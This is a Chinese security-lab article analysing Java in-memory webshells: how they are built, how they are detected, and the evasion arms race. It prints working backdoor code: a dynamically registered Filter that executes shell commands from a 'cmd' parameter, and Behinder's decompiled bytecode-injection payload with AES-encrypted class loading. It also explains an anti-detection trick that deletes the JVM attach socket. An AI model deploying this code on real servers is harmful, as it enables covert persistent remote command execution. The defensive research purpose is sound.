原创 星云实验室 绿盟科技研究通讯
一. 概述
攻防对抗中,权限维持作为后渗透的基础,在攻防的对抗中,乃是兵家必争之地。Webshell作为Web安全领域中最基础的权限维持的方式,也在不断地变化发展,涌现出各种大马,小马,一句话密码,加密混淆木马等实现方式。但随着基于文件的检测技术的发展,此类文件型的Webshell越来越容易被检测出来。因此,基于无文件攻击技术的内存马就开始大展身手。
早在2017年,n1nty师傅就提出一种利用动态注册Filter实现内存马的思路[1]。后续rebeyong师傅又提出使用Java的Instrument机制实现内存马的思路[2]。随着对内存马技术的关注与研究,后续又出现了基于Spring框架的Controller,Interceptor等类型的内存马。在Python的平台也有利用SSTI动态注入路由的形式实现内存马的思路。本文将以Java内存马为例,从内存马的原理,分类,检测,防检测以及防检测绕过等角度分析内存马的攻防博弈对抗。
二. 背景知识
2.1Java Web三大组件
图1
•Servlet
Servlet是运行在 Web 服务器或应用服务器上的程序,它是作为来自 HTTP 客户端的请求和 HTTP 服务器上的数据库或应用程序之间的中间层。它负责处理用户的请求,并根据请求生成相应的返回信息提供给用户。Servlet 可以理解为某一个路径后续的业务处理逻辑。
•Filter
Filter也称之为过滤器,可以动态地修改HttpServletRequest,HttpServletResponse中的头和数据。
•Listener
Listener也称之为监听器,可以监听Application、Session和Request对象的创建、销毁事件,以及监听对其中添加、修改、删除属性事件,并自动执行自定义的功能。
2.2 Java Instrument
java.lang.Instrument包是在JDK5引入的,开发者通过修改方法的字节码实现动态修改类代码。利用Instrument,开发者可以开发单独的代理Agent,实现对JVM进程的运行时监控,分析JVM进程运行时内存状态,甚至可以很方便地修改内存中类的字节码,修改或者扩展已有的功能。
基于Instrument的Java Agent的使用方式有两种:
• 在JVM启动前加载
启动时配置-javaagent参数,会执行Agent中的premain方法。
•在JVM启动后加载
使用com.sun.tools.attach.VirtualMachine包提供的loadAgent方法,将Agent注入到指定的JVM进程中,会执行Agent中的agentmain方法。
三. 内存马分类
内存马根据实现的方式,大致可以分为以下两种:
1. 利用Java Web组件(Servlet、Filter、Listener)
动态地创建Servlet、Filter或者Listener,解析请求参数,实现任意代码执行。在Spring框架利用Controller,Interceptor等组件也是类似的机制。
2. 修改字节码
利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。
攻击手法往往是利用Java中Web服务的 RCE漏洞,典型的就是Java的反序列化漏洞,注入自定义恶意代码,生成内存马,实现权限的持久化。
四. 内存马实现方式
4.1利用Java Web组件
利用Servlet、Filter、Listener实现内存马,我们需要两个条件,一是动态创建对象,二是能将创建的对象注册到HTTP的处理流中生效。
在Servlet3.0中,ServletContext提供了动态创建Servlet、Filter、Listener的方法。
public interface ServletContext {
...
FilterRegistration.Dynamic addFilter(String filterName,String className)
FilterRegistration.Dynamic addFilter(String filterName,Filter filter)
FilterRegistration.Dynamic addFilter(String filterName,Class<? extends Filter> filterClass)
Dynamic addServlet(String var1, String var2);
Dynamic addServlet(String var1, Servlet var2);
Dynamic addServlet(String var1, Class<? extends Servlet> var2);
void addListener(String var1);
<T extends EventListener> void addListener(T var1);
void addListener(Class<? extends EventListener> var1);
}
ApplicationContext 类是 ServletContext 的实现类,实现了 ServletContext 中的addFilter 方法,用于向属性中的StandardContext实例添加filterDef。利用StandardContext,我们就能够动态创建Servlet、Filter、Listener,实现内存马了。
下面以Filter为例分析内存马的创建方式,Servlet和Listener的实现方式较为类似,就不再重复。
1.首先我们需要能够获取到StandardContext。在JSP环境中我们可以直接通过request对象就可以获取到。在其他类型的环境中,也有相应的姿势可以获取到StandardContext对象。关于如何获取StandardContext可以参考相关文献[3]。
ServletContext ctx = request.getSession().getServletContext();
Field f = ctx.getClass().getDeclaredField("context");
f.setAccessible(true);
ApplicationContext appCtx = (ApplicationContext)f.get(ctx);
f = appCtx.getClass().getDeclaredField("context");
f.setAccessible(true);
StandardContext standardCtx = (StandardContext)f.get(appCtx);
2.创建一个恶意的Filter,其核心功能就是一个能够解析攻击者请求的参数,实现命令执行的后门程序。
Filter filter = new Filter() {
@Override
public void init(FilterConfig arg0) throws ServletException {
// TODO Auto-generated method stub
}
@Override
public void doFilter(ServletRequest arg0, ServletResponse arg1, FilterChain arg2)
throws IOException, ServletException {
// TODO Auto-generated method stub
HttpServletRequest req = (HttpServletRequest)arg0;
if (req.getParameter("cmd") != null) {
byte[] data = new byte[1024];
Process p = new ProcessBuilder("/bin/bash","-c", req.getParameter("cmd")).start();
int len = p.getInputStream().read(data);
p.destroy();
arg1.getWriter().write(new String(data, 0, len));
return;
}
arg2.doFilter(arg0, arg1);
}
@Override
public void destroy() {
// TODO Auto-generated method stub
}
};
3. 将该Filter注册到HTTP的处理流中生效。
FilterDef filterDef = new FilterDef();
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
standardCtx.addFilterDef(filterDef);
FilterMap m = new FilterMap();
m.setFilterName(filterDef.getFilterName());
m.setDispatcher(DispatcherType.REQUEST.name());
m.addURLPattern("/*");
standardCtx.addFilterMapBefore(m);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);
constructor.setAccessible(true);
FilterConfig filterConfig = (FilterConfig)constructor.newInstance(standardCtx, filterDef);
filterConfigs.put(name, filterConfig);
不难发现,此类型的内存马有着以下两个较为明显的特征:
特征1:class 实现 javax.servlet.Filter,javax.servlet.Listener,javax.servlet.Servlet等接口。
特征2:包含ProcessBuilder,Runtime等Webshell常用的命令执行危险操作。
4.2Instrument内存马
水能载舟,亦能覆舟。
Instrument机制在给我们分析修改JVM进程带来便利的同时,也为内存马的隐藏提供了很好的手段。
常见的冰蝎[4],哥斯拉[5]内存马都提供Instrument注入的方式。我们以冰蝎的内存马来分析Instrument注入的实现方式。
通过对冰蝎的jar包进行逆向分析可以发现,冰蝎内存马的代码位于net.rebeyond.behinder.payload.java.MenShell类中。
图2
代码结构可以看出是很典型的基于Instrument的Agent,入口函数是agentmain。
分析agentmain方法中实现的逻辑,可以发现大致分为以下3步:
1. 确定需要hook的类与方法,可以看出主要hook的都是与Servlet相关的类的service方法。
Class[] cLasses = inst.getAllLoadedClasses();
byte[] data = new byte[0];
Map targetClasses = new HashMap();
Map targetClassJavaxMap = new HashMap();
targetClassJavaxMap.put("methodName", "service");
List paramJavaxClsStrList = new ArrayList();
paramJavaxClsStrList.add("javax.servlet.ServletRequest");
paramJavaxClsStrList.add("javax.servlet.ServletResponse");
targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
Map targetClassJakartaMap = new HashMap();
targetClassJakartaMap.put("methodName", "service");
List paramJakartaClsStrList = new ArrayList();
paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
ClassPool cPool = ClassPool.getDefault();
if (ServerDetector.isWebLogic()) {
targetClasses.clear();
Map targetClassWeblogicMap = new HashMap();
targetClassWeblogicMap.put("methodName", "execute");
List paramWeblogicClsStrList = new ArrayList();
paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
}
2. 定义shellcode,其中shellCode的代码格式化解析如下所示,可以很明显的看出是典型的Webshell的代码,解析请求中的传递的参数,解密后进行调用,执行自定义的业务功能。
javax.servlet.http.HttpServletRequest request = (javax.servlet.ServletRequest) $1;
javax.servlet.http.HttpServletResponse response = (javax.servlet.ServletResponse) $2;
javax.servlet.http.HttpSession session = request.getSession();
String pathPattern = "%s";
if (request.getRequestURI().matches(pathPattern)) {
java.util.Map obj = new java.util.HashMap();
obj.put("request", request);
obj.put("response", response);
obj.put("session", session);
ClassLoader loader = this.getClass().getClassLoader();
if (request.getMethod().equals("POST")) {
try {
String k = "%s";
session.putValue("u", k);
java.lang.ClassLoader systemLoader = java.lang.ClassLoader.getSystemClassLoader();
Class cipherCls = systemLoader.loadClass("javax.crypto.Cipher");
Object c = cipherCls.getDeclaredMethod("getInstance", new Class[]{String.class}).invoke((java.lang.Object) cipherCls, new Object[]{"AES"});
Object keyObj = systemLoader.loadClass("javax.crypto.spec.SecretKeySpec").getDeclaredConstructor(new Class[]{byte[].class, String.class}).newInstance(new Object[]{k.getBytes(), "AES"});
;
java.lang.reflect.Method initMethod = cipherCls.getDeclaredMethod("init", new Class[]{int.class, systemLoader.loadClass("java.security.Key")});
initMethod.invoke(c, new Object[]{new Integer(2), keyObj});
java.lang.reflect.Method doFinalMethod = cipherCls.getDeclaredMethod("doFinal", new Class[]{byte[].class});
byte[] requestBody = null;
try {
Class Base64 = loader.loadClass("sun.misc.BASE64Decoder");
Object Decoder = Base64.newInstance();
requestBody = (byte[]) Decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
} catch (Exception ex) {
Class Base64 = loader.loadClass("java.util.Base64");
Object Decoder = Base64.getDeclaredMethod("getDecoder", new Class[0]).invoke(null, new Object[0]);
requestBody = (byte[]) Decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(Decoder, new Object[]{request.getReader().readLine()});
}
byte[] buf = (byte[]) doFinalMethod.invoke(c, new Object[]{requestBody});
java.lang.reflect.Method defineMethod = java.lang.ClassLoader.class.getDeclaredMethod("defineClass", new Class[]{String.class, java.nio.ByteBuffer.class, java.security.ProtectionDomain.class});
defineMethod.setAccessible(true);
java.lang.reflect.Constructor constructor = java.security.SecureClassLoader.class.getDeclaredConstructor(new Class[]{java.lang.ClassLoader.class});
constructor.setAccessible(true);
java.lang.ClassLoader cl = (java.lang.ClassLoader) constructor.newInstance(new Object[]{loader});
java.lang.Class c = (java.lang.Class) defineMethod.invoke((java.lang.Object) cl, new Object[]{null, java.nio.ByteBuffer.wrap(buf), null});
c.newInstance().equals(obj);
} catch (java.lang.Exception e) {
e.printStackTrace();
} catch (java.lang.Error error) {
error.printStackTrace();
}
return;
}
}
3. 将shellcode插入到需要hook的方法之前
Class[] var28 = cLasses;
int var13 = cLasses.length;
for (int var14 = 0; var14 < var13; ++var14) {
Class cls = var28[var14];
if (targetClasses.keySet().contains(cls.getName())) {
String targetClassName = cls.getName();
try {
String path = new String(base64decode(args.split("\\|")[0]));
String key = new String(base64decode(args.split("\\|")[1]));
shellCode = String.format(shellCode, path, key);
if (targetClassName.equals("jakarta.servlet.http.HttpServlet")) {
shellCode = shellCode.replace("javax.servlet", "jakarta.servlet");
}
ClassClassPath classPath = new ClassClassPath(cls);
cPool.insertClassPath(classPath);
cPool.importPackage("java.lang.reflect.Method");
cPool.importPackage("javax.crypto.Cipher");
List paramClsList = new ArrayList();
Iterator var21 = ((List) ((Map) targetClasses.get(targetClassName)).get("paramList")).iterator();
String methodName;
while (var21.hasNext()) {
methodName = (String) var21.next();
paramClsList.add(cPool.get(methodName));
}
CtClass cClass = cPool.get(targetClassName);
methodName = ((Map) targetClasses.get(targetClassName)).get("methodName").toString();
CtMethod cMethod = cClass.getDeclaredMethod(methodName, (CtClass[]) paramClsList.toArray(new CtClass[paramClsList.size()]));
// 关键步骤,修改字节码,将shellcode插入到方法前调用
cMethod.insertBefore(shellCode);
cClass.detach();
data = cClass.toBytecode();
// 调用Instrumentation对象,将修改生效
inst.redefineClasses(new ClassDefinition[]{new ClassDefinition(cls, data)});
} catch (Exception var24) {
var24.printStackTrace();
} catch (Error var25) {
var25.printStackTrace();
}
}
}
至此,已经成功将Java进程中的Servlet类修改,所有的请求都会经过内存马的代码,攻击者构造特定格式的POST请求就会进入内存马的代码逻辑中,执行恶意请求。正常业务的数据格式不满足内存马数据格式要求,会跳过内存马的逻辑,因此并不会影响原始业务,大大增加内存马的隐蔽性。
特征:该方式不会生成新的Servlet,Filter,Listener对象,因此隐蔽性更强。唯一美中不足的是,需要生成Agent文件落地,有可能会被IDS文件检测检测到Agent。
五. 内存马检测
知己知彼,百战不殆。
现在,我们对内存马已经有了一定的了解认识,了解了内存马的实现方式以及原理。下面我们就要对需要检测的JVM进程有详尽的了解认识,给目标JVM进程做个“体检”,发现可能隐藏的内存马。
5.1基于Instrument的Agent检测
我们可以同样利用Java 的Instrument机制,动态注入我们的检测Agent,获取JVM中所有加载的Class的数据,针对内存马可疑的特征,让隐藏的内存马现出原型。
首先,我们需要分析常见的内存马存在的一些可疑的特征。根据上面两种类型的内存马,我们大致可以总结出以下几个可疑特征:
1. 继承可能实现Webshell接口,例如Servlet,Filter,Listener,Interceptor
• javax.servlet.http.HttpServlet
• org.springframework.web.servlet.handler.AbstractHandlerMapping
• javax.servlet.Filter
• javax.servlet.Servlet
• javax.servlet.ServletRequestListener
•...
2.名字:内存马的Filter名可能包含shell等关键字
3.特殊classloader加载:查看classloader是不是Templates或bcel等
4.使用风险注解
5. 对比web.xml中没有Filter配置(这点在Spring之类的动态注入框架中不生效)
6. 对应的ClassLoader路径下没有class文件:检测Filter对应的ClassLoader目录下是否存在class文件
7. 常见已知的Webshell包名
• net.rebeyond.
• com.metasploit.
检测步骤大致如下:
1. Attach 检测jar包到JVM进程
2. 获取JVM中已经加载的class列表
3.根据以上可疑特征将可疑的class反编译为Java源码
4.根据源码检测Webshell
优点:只在检测的过程中存在资源的消耗,不会对系统进行修改,对系统的影响较小。
缺点:针对恶意代码的分析,如果恶意代码不是存在于该可疑的类中,而是通过多层的调用链调用的,分析的难度将大大增加,针对单个class的分析将无法有效的检测出。需要对调用链上的所有的类的方法函数进行分析,只要调用链中的任何一个类存在可疑的代码,就标记为风险。但这样也会增加检测的资源消耗,降低检测效率。并且,这是一种事后的检测,内存马可能已经在系统中存在一定的时间。
5.2RASP 运行时防护
Gartner在2014年提出了应用自我保护技术(RASP)的概念。Java中,RASP也是利用JVM的Instrument技术,在指定关键类的特定方法处进行hook。因此RASP能够感知内存马在内存中执行的一系列操作。
例如上述提到的Filter类型的内存马,我们在 StandardContext类的addFilterDef方法处进行hook,能够在内存马创建的阶段就能检测到,将风险扼杀在摇篮之中。
优点:RASP是一种事中的检测,在内存马创建的过程中就能检测并阻断。这种方式准确性强,可以结合请求的上下文环境进行精准判断,误报的几率较低。
缺点:这种侵入性比较强,运行在应用的整个生命周期中,会增加应用的资源消耗。
六. 内存马的防检测
攻防就是一个相互博弈的过程,既然有了查杀,内存马就有反查杀。
冰蝎内存马在Behinder_v3.0 Beta 10中就开始添加了防检测的功能。
图3
对冰蝎代码分析,防检测的实现是删除了一个名为/tmp/.java_pid+{pid}的文件。为什么删除这个文件就能防检测了呢?这还得从JVM进程的Agent注入开始分析。
前文了解过,Agent的注入是调用com.sun.tools.attach.VirtualMachine的loadAgent,分析loadAgent代码,主要是调用loadAgentLibrary方法。
图4
继续跟进loadAgentLibrary方法,最终实际是调用execute的load命令
图5
execute连接目标JVM进程暴露的socket文件,写入执行的指令进行通信,这里面的path就是目标JVM的 socket文件地址。
图6
分析目标JVM进程 对socket接收到的数据进行处理,在AttachListener对象的read_request方法中读取socket接收到数据
图7
创建LinuxAttachOperation对象 进行具体的attach的操作
图8
通过对代码的分析可以看出,JVM进程之间的通信,靠的就是目标进程暴露出来的socket文件。防检测原理,就是删除JVM进程对外暴露的.java_pidxxxx socket文件,阻止和JVM进程通信,从而禁止Agent加载。Agent无法注入,自然就无法检测内存马了。
这块绕过防检测有一点思路,留待后续实现。
1.在目标JVM进程中, 重启AttachListener,重新创建socket文件。
2.在目标JVM进程,创建LinuxAttachOperation到队列中,完成load Agent的操作。
七. 总结
本文从内存马的原理,分类,检测,防检测以及防检测绕过等角度分析内存马的攻防博弈对抗。可以看出安全攻防的博弈一直都在持续进行中,这趟旅程还没有到终点。
参考文献
[1].https://mp.weixin.qq.com/s/x4pxmeqC1DvRi9AdxZ-0Lw
[2].https://www.cnblogs.com/rebeyond/p/9686213.html
[3].https://xz.aliyun.com/t/9914
[4].https://github.com/rebeyond/Behinder
[5].https://github.com/BeichenDream/Godzilla
关于星云实验室
星云实验室专注于云计算安全、解决方案研究与虚拟化网络安全问题研究。基于IaaS环境的安全防护,利用SDN/NFV等新技术和新理念,提出了软件定义安全的云安全防护体系。承担并完成多个国家、省、市以及行业重点单位创新研究课题,已成功孵化落地绿盟科技云安全解决方案。
内容编辑:星云实验室 陈建军 责任编辑:高深
本公众号原创文章仅代表作者观点,不代表绿盟科技立场。所有原创内容版权均属绿盟科技研究通讯。未经授权,严禁任何媒体以及微信公众号复制、转载、摘编或以其他方式使用,转载须注明来自绿盟科技研究通讯并附上本文链接。
关于我们
绿盟科技研究通讯由绿盟科技创新中心负责运营,绿盟科技创新中心是绿盟科技的前沿技术研究部门。包括云安全实验室、安全大数据分析实验室和物联网安全实验室。团队成员由来自清华、北大、哈工大、中科院、北邮等多所重点院校的博士和硕士组成。
绿盟科技创新中心作为“中关村科技园区海淀园博士后工作站分站”的重要培养单位之一,与清华大学进行博士后联合培养,科研成果已涵盖各类国家课题项目、国家专利、国家标准、高水平学术论文、出版专业书籍等。
我们持续探索信息安全领域的前沿学术方向,从实践出发,结合公司资源和先进技术,实现概念级的原型系统,进而交付产品线孵化产品并创造巨大的经济价值。